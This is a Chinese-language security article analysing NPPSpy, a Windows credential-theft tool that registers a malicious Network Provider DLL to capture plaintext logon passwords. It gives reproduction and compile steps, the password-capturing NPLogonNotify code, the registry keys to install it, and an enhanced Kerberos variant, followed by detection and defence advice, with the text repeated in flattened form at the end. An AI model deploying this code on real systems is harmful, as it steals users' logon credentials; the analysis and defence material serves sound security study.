对获取 Windows 明文密码的小工具 NPPSpy 的一次深究
字数 1992 2025-08-07 08:22:00

Windows 明文密码获取工具 NPPSpy 深度分析与实现

0x00 前言

本文深入分析由 @0gtweet 发布的 Windows 明文账户密码获取工具 NPPSpy,该工具通过 Windows 认证机制获取用户登录时的明文密码。本文将详细讲解其原理、实现方式及防御措施。

0x01 工具复现

复现步骤

  1. 从 GitHub 下载 NPPSPy 文件夹:

    https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
    
  2. 以管理员权限将 NPPSPY.dll 复制到系统目录:

    copy .\NPPSPY.dll C:\windows\System32\
    
  3. 以管理员权限执行 ConfigureRegistrySettings.ps1 脚本:

    powershell.exe -Exec Bypass .\ConfigureRegistrySettings.ps1
    
  4. 注销账户或重启系统并重新登录

  5. 在 C 盘下查看 NPPSpy.txt,其中记录了登录的账号和密码

0x02 编译方法

方法一:使用 cl.exe 命令行编译

  1. 打开 "x64 Native Tools Command Prompt for VS 2019"
  2. 执行编译命令:
    cl.exe /LD NPPSpy.c
    

方法二:使用 VS2019 项目模板

  1. 创建新的动态链接库(DLL)项目

  2. 处理预编译头选项:

    • 删除默认头文件和源文件
    • 添加 NPPSpy.c 到源文件
    • 在项目属性中设置:配置属性 > C/C++ > 预编译头 > 不使用预编译头
  3. 或者使用默认预编译头:

    • 在 NPLogonNotify 和 NPGetCaps 函数声明前添加 extern "C"
    • 将代码拆分到 framework.h 和主源文件中

0x03 原理分析

认证流程概述

  1. 用户输入密码
  2. Winlogon.exe 检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 的 mpnotify 值
  3. 启动 mpnotify.exe
  4. mpnotify.exe 读取注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder 中的 DLL
  5. 建立 RPC 通道,Winlogon 绑定并传递密码
  6. mpnotify.exe 转发密码到 DLL
  7. 恶意 DLL 获取认证信息并存储密码

关键技术点

  1. Credential Manager:与 Network Provider 类似,用于处理认证信息变更通知
  2. Multiple Provider Router (MPR):处理 Windows 系统与已安装 Network Provider 间的通信
  3. Network Provider API:支持特定网络协议的 DLL 需要实现的接口

0x04 实现细节

核心数据结构

// from ntdef.h
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE {
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, *PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON {
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;

必须实现的 API 函数

NPGetCaps 函数

__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex) {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;
        case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;  // 硬编码测试出的值
        case WNNC_START:
            return WNNC_WAIT_FOR_START;
        default:
            return 0;
    }
}

NPLogonNotify 函数

__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

注册表配置

  1. ProviderOrder:

    • 路径: HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
    • 添加自定义 Provider 名称到 ProviderOrder 列表
  2. Provider 配置项:

    • 路径: HKLM\SYSTEM\CurrentControlSet\Services\<ProviderName>\NetworkProvider
    • 必须包含的键值:
      • Name: Provider 名称 (REG_SZ)
      • ProviderPath: DLL 路径 (REG_EXPAND_SZ)
      • Class: 类型 (DWORD, WN_CREDENTIAL_CLASS=0x00000002)

0x05 增强实现

支持 Kerberos:Interactive 认证类型的增强版:

// 处理 MSV1_0:Interactive 和 Kerberos:Interactive
DWORD APIENTRY NPLogonNotify(...) {
    wstring lpAuthInfoTypeStr(lpAuthInfoType);
    wstring target = L"MSV1_0:Interactive";
    
    if (target == lpAuthInfoTypeStr) {
        SavePassword(
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    } else {
        SavePassword(
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    }
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

0x06 防御检测

检测方法

  1. 检查 Network Provider 的 DLL 和签名状态:

    Get-NetworkProviders.ps1
    

    恶意 DLL 通常没有有效签名。

  2. 检查注册表:

    • HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder
    • HKLM\SYSTEM\CurrentControlSet\Services\<可疑项>\NetworkProvider

防御措施

  1. 监控 System32 目录下 DLL 的添加和修改
  2. 监控 NetworkProvider 相关注册表项的修改
  3. 限制高权限账户的使用
  4. 启用 Credential Guard (Windows 10+)

0x07 总结

NPPSpy 利用 Windows 认证机制中的 Credential Manager 接口,通过注册恶意 DLL 来截获用户登录时的明文密码。理解其原理有助于更好地防御此类攻击。增强实现已开源在 GitHub: https://github.com/fengwenhua/CMPSpy

Windows 明文密码获取工具 NPPSpy 深度分析与实现 0x00 前言 本文深入分析由 @0gtweet 发布的 Windows 明文账户密码获取工具 NPPSpy,该工具通过 Windows 认证机制获取用户登录时的明文密码。本文将详细讲解其原理、实现方式及防御措施。 0x01 工具复现 复现步骤 从 GitHub 下载 NPPSPy 文件夹: 以管理员权限将 NPPSPY.dll 复制到系统目录: 以管理员权限执行 ConfigureRegistrySettings.ps1 脚本: 注销账户或重启系统并重新登录 在 C 盘下查看 NPPSpy.txt,其中记录了登录的账号和密码 0x02 编译方法 方法一:使用 cl.exe 命令行编译 打开 "x64 Native Tools Command Prompt for VS 2019" 执行编译命令: 方法二:使用 VS2019 项目模板 创建新的动态链接库(DLL)项目 处理预编译头选项: 删除默认头文件和源文件 添加 NPPSpy.c 到源文件 在项目属性中设置:配置属性 > C/C++ > 预编译头 > 不使用预编译头 或者使用默认预编译头: 在 NPLogonNotify 和 NPGetCaps 函数声明前添加 extern "C" 将代码拆分到 framework.h 和主源文件中 0x03 原理分析 认证流程概述 用户输入密码 Winlogon.exe 检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 的 mpnotify 值 启动 mpnotify.exe mpnotify.exe 读取注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder 中的 DLL 建立 RPC 通道,Winlogon 绑定并传递密码 mpnotify.exe 转发密码到 DLL 恶意 DLL 获取认证信息并存储密码 关键技术点 Credential Manager :与 Network Provider 类似,用于处理认证信息变更通知 Multiple Provider Router (MPR) :处理 Windows 系统与已安装 Network Provider 间的通信 Network Provider API :支持特定网络协议的 DLL 需要实现的接口 0x04 实现细节 核心数据结构 必须实现的 API 函数 NPGetCaps 函数 NPLogonNotify 函数 注册表配置 ProviderOrder : 路径: HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order 添加自定义 Provider 名称到 ProviderOrder 列表 Provider 配置项 : 路径: HKLM\SYSTEM\CurrentControlSet\Services\<ProviderName>\NetworkProvider 必须包含的键值: Name: Provider 名称 (REG_ SZ) ProviderPath: DLL 路径 (REG_ EXPAND_ SZ) Class: 类型 (DWORD, WN_ CREDENTIAL_ CLASS=0x00000002) 0x05 增强实现 支持 Kerberos:Interactive 认证类型的增强版: 0x06 防御检测 检测方法 检查 Network Provider 的 DLL 和签名状态: 恶意 DLL 通常没有有效签名。 检查注册表: HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder HKLM\SYSTEM\CurrentControlSet\Services\<可疑项>\NetworkProvider 防御措施 监控 System32 目录下 DLL 的添加和修改 监控 NetworkProvider 相关注册表项的修改 限制高权限账户的使用 启用 Credential Guard (Windows 10+) 0x07 总结 NPPSpy 利用 Windows 认证机制中的 Credential Manager 接口,通过注册恶意 DLL 来截获用户登录时的明文密码。理解其原理有助于更好地防御此类攻击。增强实现已开源在 GitHub: https://github.com/fengwenhua/CMPSpy